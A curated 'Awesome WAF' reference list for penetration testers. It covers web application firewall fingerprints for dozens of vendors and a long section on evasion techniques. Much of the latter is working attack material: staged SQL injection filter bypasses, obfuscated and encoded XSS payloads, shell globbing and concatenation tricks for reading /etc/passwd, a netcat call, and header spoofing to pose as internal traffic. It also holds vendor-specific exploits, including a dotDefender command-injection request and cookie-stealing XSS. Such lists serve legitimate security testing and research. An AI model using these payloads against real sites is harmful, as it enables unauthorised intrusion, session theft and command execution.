A curated list of web-app firewall (WAF) stuff

Awesome WAF

A curated list of awesome WAF stuff. :fire:

Foreword:This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. "The community just learns from each other." #SharingisCaring

a6BZvm7.png!web

A Concise Definition:A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source PCI DSS IS 6.6 )

Feel free to contribute .

Introduction:

How WAFs Work:

Using a set of rules to distinguish between normal requests and malicious requests.
Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all <script>*</script> inputs.
Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.

Testing Methodology:

Where To Look:

Always look out for common ports that expose that a WAF 80 , 443 , 8000 , 8008 , 8080 , 8088 .
Tip:You can use automate this easily by commandline using a screenshot taker like WebScreenShot .
Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, F5 Big IP).
Some (often rare) expose themselves in the Server header (eg. Approach, WTS WAF).
Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).

Detection Techniques:

Make a normal GET request from a browser, intercept and test response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
If there is a login page somewhere, try some common (easily detectable) payloads like ' or 1 = 1 -- .
If there is some input field somewhere, try with noisy payloads like <script>alert()</script> .
Make GET requests with outdated protocols like HTTP/0.9 ( HTTP/0.9 does not support POST type queries).
Many a times, the WAF varies the Server header upon different types of interactions.
Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip:This method could be easily achieved with tools like HPing3 or Scapy .
Side Channel Attacks - Examine the timing behaviour of the request and response content.

WAF Fingerprints

Wanna detect WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to.

360 Firewall

Detectability: Easy
Detection Methodology:

493
wzws-waf-cgi/
wangshan.360.cn
X-Powered-By-360WZB

aeSecure

Detectability: Moderate
Detection Methodology:

aesecure_denied.png
aeSecure-code

Airlock (Phion/Ergon)

Detectability: Moderate/Difficult
Detection Methodology:
- Set-Cookie headers may contain:

AL-SESS
AL-LB

Aliyundun Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page contains:

Sorry, your request has been blocked as it may cause potential threats to the server's security
errors.aliyun.com

Anquanbao WAF

Detectability: Easy
Detection Methodology:
- Returns blocked HTTP response code 405 upon malicious requests.
- Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time .
- Response headers contain X-Powered-by-Anquanbao header field.

Armor Defense

Detectability: Easy
Detection Methodology:
- Blocked response content contains warning
  
  This request has been blocked by website protection from Armor.

Application Security Manager (F5 Networks)

Detectability: Difficult
Detection Methodology:
- Blocked response content contains warning
  
  The requested URL was rejected. Please consult with your administrator.

Approach Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page content may contain:

Approach Web Application Firewall
Your IP address has been logged and this information could be used by authorities to track you.
Sorry for the inconvenience!
If this was an legitimate request please contact us with details!

Server header has field value set to Approach Web Application Firewall . Amazon AWS WAF

Detectability: Moderate
Detection Methodology:

AWS
403 Forbidden

Baidu Yunjiasu

Detectability: Moderate
Detection Methodology:
- Response headers contain Yunjiasu-ngnix value.

Barracuda WAF

Detectability: Moderate
Detection Methodology:

barra_counter_session
barracuda_

Bekchy (Faydata)

Detectability: Easy
Detection Methodology:

Bekchy - Access Denied
https://bekchy.com/report

BitNinja Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page may contain:

Security check by BitNinja
your IP will be removed from BitNinja
Visitor anti-robot validation

Bluedon IST

Detectability: Easy
Detection Methodology:
- Server header contains BDWAF field value.
- Blocked response page contains to Bluedon Web Application Firewall text snippet..

BIG-IP ASM (F5 Networks)

Detectability: Moderate
Detection Methodology:
- Response headers may contain BigIP or F5 keyword value.
- Response header fields may contain X-WA-Info header.
- Response headers might have jumbled X-Cnection field value.

BinarySec WAF

Detectability: Moderate
Detection Methodology:
- Response headers contain binarysec keyword value.

BlockDos

Detectability: Moderate
Detection Methodology:
- Response headers may contain reference to BlockDos.net URL.

CDN NS Application Gateway

Detectability: Easy
Detection Methodology:
- Blocked response page contains by CdnNsWAF Application Gateway text snippet.

ChinaCache Firewall

Detectability: Easy
Detection Methodology:

Powered-by-ChinaCache
400 Bad Request

Cisco ACE XML Gateway

Detectability: Moderate
Detection Methodology:
- Response headers have ACE XML Gateway value.

Cloudbric

Detectability: Moderate
Detection Methodology:
- Response content has Cloudbric and Malicious Code Detected texts.

Cloudflare

Detectability: Easy
Detection Methodology:
- Response headers might have cf-ray field value.
- Server header field has value cloudflare .
- Set-Cookie response headers have __cfuid= cookie field.
- Page content might have Attention Required! or Cloudflare Ray ID: .
- You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.

Cloudfront (Amazon)

Detectability: Easy
Detection Methodology:
- Blocked response content contains Error from cloudfront error upon malicious request.

Comodo Firewall

Detectability: Easy
Detection Methodology:
- Response headers contain Protected by COMODO WAF value.

CrawlProtect (Jean-Denis Brun)

Detectability: Easy
Detection Methodology:
- Response content contains value
  
  This site is protected by CrawlProtect .

GoDaddy Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page contains value
  
  Access Denied - GoDaddy Website Firewall .

IBM WebSphere DataPower

Detectability: Difficult
Detection Methodology:
- Response headers contains field value value X-Backside-Transport with value OK or FAIL .

Deny-All Firewall

Detectability: Difficult
Detection Methodology:
- Response content contains value Condition Intercepted .
- Set-Cookie header contains cookie field sessioncookie .

Distil Firewall

Detectability: Easy
Detection Methodology:
- Response headers contain field value X-Distil-CS in all requests.

DoSArrest Internet Security

Detectability: Easy
Detection Methodology:

X-DIS-Request-ID
DOSarrest

dotDefender

Detectability: Easy
Detection Methodology:
- Blocked response content contains value
  dotDefender Blocked Your Request .
- Blocked response headers contain X-dotDefender-denied field value.

EdgeCast (Verizon)

Detectability: Easy
Detection Methodology:
- Blocked response content contains value
  Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon) .
- Blocked response code returns 400 Bad Request on malicious requests.

Expression Engine (EllisLab)

Detectability: Difficult
Detection Methodology:

Invalid GET Request
Invalid POST Request

FortiWeb Firewall

Detectability: Moderate
Detection Methodology:
- Blocked response content contains value .fgd_icon keyword.
- Response headers contain FORTIWAFSID= on malicious requests.
- Set-Cookie header has cookie field cookiesession1= .

GreyWizard Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page content contains:
  We've detected attempted attack or non standard traffic from your IP address text snippet.
- Blocked response page title contains Grey Wizard keyword.
- Response headers contain greywizard keyword.

HyperGuard Firewall

Detectability: Difficult
Detection Methodology:
- Set-Cookie header has cookie field ODSESSION= in response headers.

Imperva SecureSphere

Detectability: Easy
Detection Methodology:
- Blocked response page content may contain:

Incapsula incident ID
_Incapsula_Resource
subject=WAF Block Page

Normal GET request headers contain visid_incap value. Response headers may contain X-Iinfo header field name. Set-Cookie header has cookie field incap_ses in response headers. Immunify360 (CloudLinux Inc.)

Detectability: Easy
Detection Methodology:
- Headers contain imunify360 keyword.
- Response page contains:

Powered by Imunify360
imunify360 preloader

Blocked response page contains protected by Imunify360 text. ISAServer

Detectability: Difficult
Detection Methodology:
- Response page contains:

The ISA Server denied the specified Uniform Resource Locator (URL)
The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.

Janusec Application Gateway

Detectability: Moderate
Detection Methodology:
- Blocked response page displays Janusec Application Gateway on malicious requests.

Jiasule Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
- Set-Cookie header has cookie field __jsluid= in response headers.
- Response headers have jiasule-WAF or jsl_tracking keywords.
- Blocked response content has notice-jiasule keyword.

KnownSec Firewall

Detectability: Moderate
Detection Methodology:
- Blocked response page displays ks-waf-error.png image (view source to see).

KONA Site Defender (Akamai)

Detectability: Easy
Detection Methodology:
- Headers contain AkamaiGHost keyword.

Malcare (Inactiv)

Detectability: Moderate
Detection Methodology:
- Blocked response page may contains:

Blocked because of Malicious Activities
Firewall powered by MalCare

ModSecurity (Trustwave)

Detectability: Moderate/Difficult
Detection Methodology:
- Blocked response page contains:

This error was generated by Mod_Security
One or more things in your request were suspicious
rules of the mod_security module

Response headers may contain Mod_Security or NYOB keywords. NAXSI (NBS Systems)

Detectability: Easy
Detection Methodology:
- Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.

Netcontinuum (Barracuda)

Detectability: Moderate
Detection Methodology:
- Session cookies contain NCI__SessionId= cookie field name.

NinjaFirewall (NinTechNet)

Detectability: Moderate
Detection Methodology:
- Response page title contains NinjaFirewall: 403 Forbidden .
- Response page contains:
```
For security reasons, it was blocked and logged
NinjaFirewall
```
- Returns a 403 Forbidden response upon malicious requests.

NetScaler (Citrix)

Detectability: Moderate
Detection Methodology:
- Response headers may contain
  - Connection: header field name jumbled to nnCoection:
  - ns_af= cookie field name.
  - citrix_ns_id field name.
  - NSC_ keyword.
  - NS-CACHE field value.

NewDefend Firewall

Detectability: Easy
Detection Methodology:
- Response headers contain newdefend keyword.

NSFocus Firewall

Detectability: Easy
Detection Methodology:
- Response headers contain NSFocus keyword.

onMessage Shield (Blackbaud)

Detectability: Easy
Detection Methodology:
- Response headers contain unusual header X-Engine field with value onMessage Shield .
- Response page may contain onMessage SHIELD keyword.
- You might encounter response page with
  This site is protected by an enhanced security system to ensure a safe browsing experience .

Palo Alto Firewall

Detectability: Difficult
Detection Methodology:
- Blocked response page contains the following text snippet
  
  has been blocked in accordance with company policy .

PerimeterX Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page contains reference to
  
  https://www.perimeterx.com/whywasiblocked URL.

Profense Firewall

Detectability: Moderate/Difficult
Detection Methodology:
- Set-Cookie headers contain PLBSID= cookie field name.
- Response headers may contain Profense keyword.

Proventia (IBM)

Detectability: Difficult
Detection Methodology:
- Blocked response page might contain to request does not match Proventia rules text snippet.

Radware Appwall

Detectability: Moderate
Detection Methodology:
- Response page contains the following text snippet:
  Unauthorized Activity Has Been Detected. and Case Number
- Response headers may contain X-SL-CompState header field name.

Reblaze Firewall

Detectability: Moderate
Detection Methodology:

rbzid=
Reblaze Secure Web Gateway

Request Validation Mode (ASP.NET)

Detectability: Easy
Detection Methodology:
- A firewall found specifically on ASP.NET websites and none others.
- Response page contains either of the following text snippet:

ASP.NET has detected data in the request that is potentially dangerous.
Request Validation has detected a potentially dangerous client input value.
HttpRequestValidationException.

Blocked response code returned is always 500 Internal Error . RSFirewall (RSJoomla)

Detectability: Easy
Detection Methodology:
- Response page contains:

COM_RSFIREWALL_403_FORBIDDEN
COM_RSFIREWALL_EVENT

Safe3 Firewall

Detectability: Easy
Detection Methodology:
- Response headers contain Safe3 keyword.

SafeDog Firewall

Detectability: Easy/Moderate
Detection Methodology:
- Response headers may contain:

WAF/2.0
safedog

SecureIIS (BeyondTrust)

Detectability: Easy
Detection Methodology:
- Response page contains either of the following text snippet:

SecureIIS Web Server Protection.
http://www.eeye.com/SecureIIS/
subject={somevalue} SecureIIS Error

SEnginx (Neusoft)

Detectability: Easy
Detection Methodology:
- Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.

ShieldSecurity

Detectability: Difficult
Detection Methodology:
- Blocked response page contains
  
  Something in the URL, Form or Cookie data wasn't appropriate text snippet.

SiteGround Firewall

Detectability: Difficult
Detection Methodology:
- Blocked response page contains
  
  The page you are trying to access is restricted due to a security rule text snippet.

SiteGuard (JP Secure)

Detectability: Difficult

Detection Methodology:

Response page contains:

Powered by SiteGuard
The server refuse to browse the page.

SiteLock TrueShield

Detectability: Easy
Detection Methodology:
- Blocked response page source contains the following:

SiteLock Incident ID
sitelock-site-verification
sitelock_shield_logo

SonicWall (Dell)

Detectability: Easy
Detection Methodology:
- Response headers contain SonicWALL keyword value.
- Blocked response page contains either of the following text snippet:
  - This request is blocked by the SonicWALL.
  - #shd or #nsa_banner hashtags.
  - Web Site Blocked text snippet.

Sophos UTM Firewall

Detectability: Easy
Detection Methodology:
- Blocked response page contains Powered by UTM Web Protection keyword.

SquareSpace Firewall

Detectability: Difficult
Detection Methodology:
- Response code returned is 404 Not Found upon malicious requests.
- Blocked response page contains either of the following text snippet:

BRICK-50
404 Not Found

StackPath (StackPath LLC)

Detectability: Difficult
Detection Methodology:
- Blocked response page contains
  
  You performed an action that triggered the service and blocked your request .

Stingray (RiverBed/Brocade)

Detectability: Difficult
Detection Methodology:
- Blocked response code returns 403 Forbidden or 500 Internal Error .
- Response headers contain the X-Mapping header field name.

Sucuri CloudProxy

Detectability: Easy
Detection Methodology:
- Response headers may contain Sucuri or Cloudproxy values.
- Blocked response page contains the following text snippet:
  - Access Denied and Sucuri Website Firewall texts.
  - Email [email protected] .
- Returns 403 Forbidden response code upon blocking.

Tencent Cloud WAF

Detectability: Moderate
Detection Methodology:

405 Method Not Allowed
waf.tencent-cloud.com

TrafficShield (F5 Networks)

Detectability: Moderate
Detection Methodology:

F5-TrafficShield
ASINFO=

URLMaster SecurityCheck (iFinity/DotNetNuke)

Detectability: Moderate
Detection Methodology:
- Response headers might contain:
```
UrlMaster
UrlRewriteModule
SecurityCheck
```
- Blocked response code returned is 400 Bad Request text snippet.

URLScan (Microsoft)

Detectability: Moderate
Detection Methodology:

Rejected-by-URLScan
Rejected-by-URLScan

USP Secure Entry

Detectability: Moderate
Detection Methodology:
- Response headers contain Secure Entry Server field value.

Varnish (OWASP)

Detectability: Easy
Detection Methodology:

Request rejected by xVarnish-WAF
404 Not Found

VirusDie Firewall

Detectability: Easy
Detection Methodology:
- Response page contains:
  - http://cdn.virusdie.ru/splash/firewallstop.png picture.
  - copy; Virusdie.ru text snippet.
  - Response page title contains Virusdie keyword.
  - Page metadata contains name="FW_BLOCK" keyword

WallArm (Nginx)

Detectability: Moderate
Detection Methodology:
- Response headers contain nginx-wallarm text snippet.

WatchGuard Firewall

Detectability: Moderate
Detection Methodology:
- Response headers contain WatchGuard header field value.

WebKnight (Aqtronix)

Detectability: Easy
Detection Methodology:
- Response headers contain WebKnight keyword.
- Blocked response page contains:

WebKnight Application Firewall Alert
AQTRONIX WebKnight

Blocked response code returned is 999 No Hacking . :p WP Cerber Firewall

Detectability: Moderate

Detection Methodology:

Blocked response page contains:

We're sorry, you are not allowed to proceed
Your request looks suspicious or similar to automated requests from spam posting software

Yundun Firewall

Detectability: Moderate
Detection Methodology:
- Headers contain the yundun keyword.

Yunsuo Firewall

Detectability: Easy
Detection Methodology:

.yunsuologo
yunsuo_session

ZenEdge Firewall

Detectability: Easy
Detection Methodology:

zenedge/assets/
ZENEDGE

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Wordlists specifically for fuzzing

Technique:

Load up your wordlist into fuzzer and start the bruteforce.
Record/log all responses from the different payloads fuzzed.
Use random user-agents, ranging from Chrome Desktop to iPhone browser.
If blocking noticed, increase fuzz latency (eg. 2-4 secs).
Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

This method often fails.
Many a times your IP will be blocked (temporarily/permanently).

Regex-Reversing:

Method:

Most efficient method of bypassing WAFs.
Some WAFs rely upon matching the attack payloads with the signatures in their databases.
Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Keyword Filter Detection/Bypass

Example: SQL Injection

• Step 1:

Keywords Filtered: and , or , union

Filtered Injection : union select user, password from users
Bypassed Injection : 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keywords Filtered: and , or , union , where

Filtered Injection : 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection : 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keywords Filtered: and , or , union , where , limit

Filtered Injection : 1 || (select user from users limit 1) = 'admin'
Bypassed Injection : 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keywords Filtered: and , or , union , where , limit , group by

Filtered Injection : 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed Injection : 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keywords Filtered: and , or , union , where , limit , group by , select

Filtered Injection : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection : 1 || 1 = 1 into outfile 'result.txt'
Bypassed Injection : 1 || substr(user,1,1) = 'a'

• Step 6:

Keywords Filtered: and , or , union , where , limit , group by , select , '

Filtered Injection : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection : 1 || user_id is not null
Bypassed Injection : 1 || substr(user,1,1) = 0x61
Bypassed Injection : 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keywords Filtered: and , or , union , where , limit , group by , select , ' , hex

Filtered Injection : 1 || substr(user,1,1) = unhex(61)
Bypassed Injection : 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keywords Filtered: and , or , union , where , limit , group by , select , ' , hex , substr

Filtered Injection : 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed Injection : 1 || lpad(user,7,1)

• Step 9:

Keywords Filtered: and , or , union , where , limit , group by , select , ' , hex , substr , white space

Filtered Injection : 1 || lpad(user,7,1)
Bypassed Injection : 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

Encoding payload to different encodings (a hit and trial approach).
You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

Some poorly developed WAFs filter selectively specific case WAFs.
We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed : <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed : sELecT * FrOM all_tables whERe OwNeR = 'DATABASE_NAME'

2. URL Encoding

Encode normal payloads with % encoding/URL encoding.
Can be done with online tools like this .
Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed : %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed : uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Encoding

Most modern web-apps support UTF-8 and hence are prone to this method.
ASCII characters in unicode encoding encoding provide great variants for bypassing.
You can encode entire/part of the payload for obtaining results.

Standard: prompt()
Obfuscated : pro\u006dpt()

Standard: ../../appusers.txt
Obfuscated : %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt

4. HTML Encoding

Often web apps encode special characters into HTML encoding and render accordingly.
This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard : "><img src=x onerror=confirm()>

Encoded: "><img src=x onerror=confirm()> (General form)

Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. Mixed Encoding

WAF rules often tend to filter out a single type of encoding.
This type of filters can be bypassed by mixed encoding payloads.
Tabs and newlines further add to obfuscation.

Obfuscated:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

Comments obfuscate standard payload vectors.
Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed : <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3---
Bypassed : /?id=1+un/**/ion+sel/**/ect+1,2,3-

7. Double Encoding

Often WAF filters tend to encode characters to prevent attacks.
However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated : http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert('XSS')</script>
Obfuscated : %253Cscript%253Ealert('XSS')%253C%252Fscript%253E

8. Wildcard Encoding

Globbing patterns are used by various command-line utilities to work with multiple files.
We can tweak them to execute system commands.
Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd
Obfuscated : /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated : /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. String Concatenation

Different programming languages have different syntaxes and patterns for concatenation.
This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: /bin/cat /etc/passwd
Obfuscated : /bi'n/c'at' /e'tc'/pa'''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated : <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Chars

Normal payloads get filtered out easily.
Adding some junk chars avoid detection (specific cases only).

Standard: <script>alert()</script>
Obfuscated : <script>+-+-1-+-+alert(1)</script>

Standard: <a href=javascript;alert()>ClickMe
Bypassed : <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

10. Line Breaks

Many WAF with regex based filtering effectively blocks many attempts.
Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:alert(0)">
Obfuscated : <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)">

11. Uninitialized Variables

Uninitialized bash variables can elude regular expression based filters and pattern match.
Uninitialised variables have value null/they act like empty strings.
Both bash and perl allow this kind of interpretations.

Standard: cat /etc/passwd
Obfuscated : cat$u $u/etc$u/passwd$u

Browser Bugs:

Charset Bugs:

We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
When the site decodes the string, the payload gets triggered.

Example request:

GET <b>/page.php?p=%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E</b> HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
<b>Accept-Charset:utf-32; q=0.5</b>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is utf-8, it will be rendered as: "<script>alert (1) </ script> .

Final URL encoded payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null Bytes:

The null bytes are commonly used as string terminator.
This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Parsing Bugs:

RFC states that NodeNames cannot begin with whitespace.
But we can use special chars like % , // , ! , ? , etc.

Examples:

<// style=x:expression\28write(1)\29> - Works upto IE7 ( Source )
 - Works upto IE9 ( Reference )
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 ( Reference )
<%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

Every browser has their own specific charset of separators.
We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.

Here is a compiled list of separators:

IExplorer: 0x09 , 0x0B , 0x0C , 0x20 , 0x3B
Chrome: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B
Safari: 0x2C , 0x3B
FireFox: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B
Opera: 0x09 , 0x20 , 0x2C , 0x3B
Android: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B

An exotic payload:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Request Header Spoofing:

Method:

The target is to fool the WAF/server into believing it was from their internal network.
Adding some spoofed headers to represent the internal network, does the trick.

Technique:

With each request some set of headers are to be added simultaneously thus spoofing the origin.
The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

There are a lot of known bypasses of various web application firewalls ().
With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet .

Normal search:

+<wafname> waf bypass
Searching for specific version exploits:

"<wafname> <version>" (bypass|exploit)
For specific type bypass exploits:

"<wafname>" +<bypass type> (bypass|exploit)
On Exploit DB :

site:exploit-db.com +<wafname> bypass
On 0Day Inject0r DB :

site:0day.today +<wafname> <type> (bypass|exploit)
On Twitter :

site:twitter.com +<wafname> bypass
On Pastebin

site:pastebin.com +<wafname> bypass

Known Bypasses: `Incomplete`

Citrix NetScaler

HTTP Parameter Pollution (NS10.5) @BGA Security

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>

generic_api_call.pl XSS by @NNPoster

/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

XSS Bypass by @ArbazKiraak

<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`

Comodo

SQLi by @WAFNinja

0 union/**/select 1,version(),@@datadir

Barracuda

Cross Site Scripting by @WAFNinja

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

HTML Injection by @Global-Evolution

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

DotDefender

Firewall disable by (v5.0) by @hyp3rlinx

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>

Remote Command Execution (v3.8-5) by @John Dos

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

Persistent XSS (v4.0) by @EnableSecurity

GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300

R-XSS Bypass by @WAFNinja

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

GET - XSS Bypass (v4.02) by @DavidK

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />

POST - XSS Bypass (v4.02) by @DavidK

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
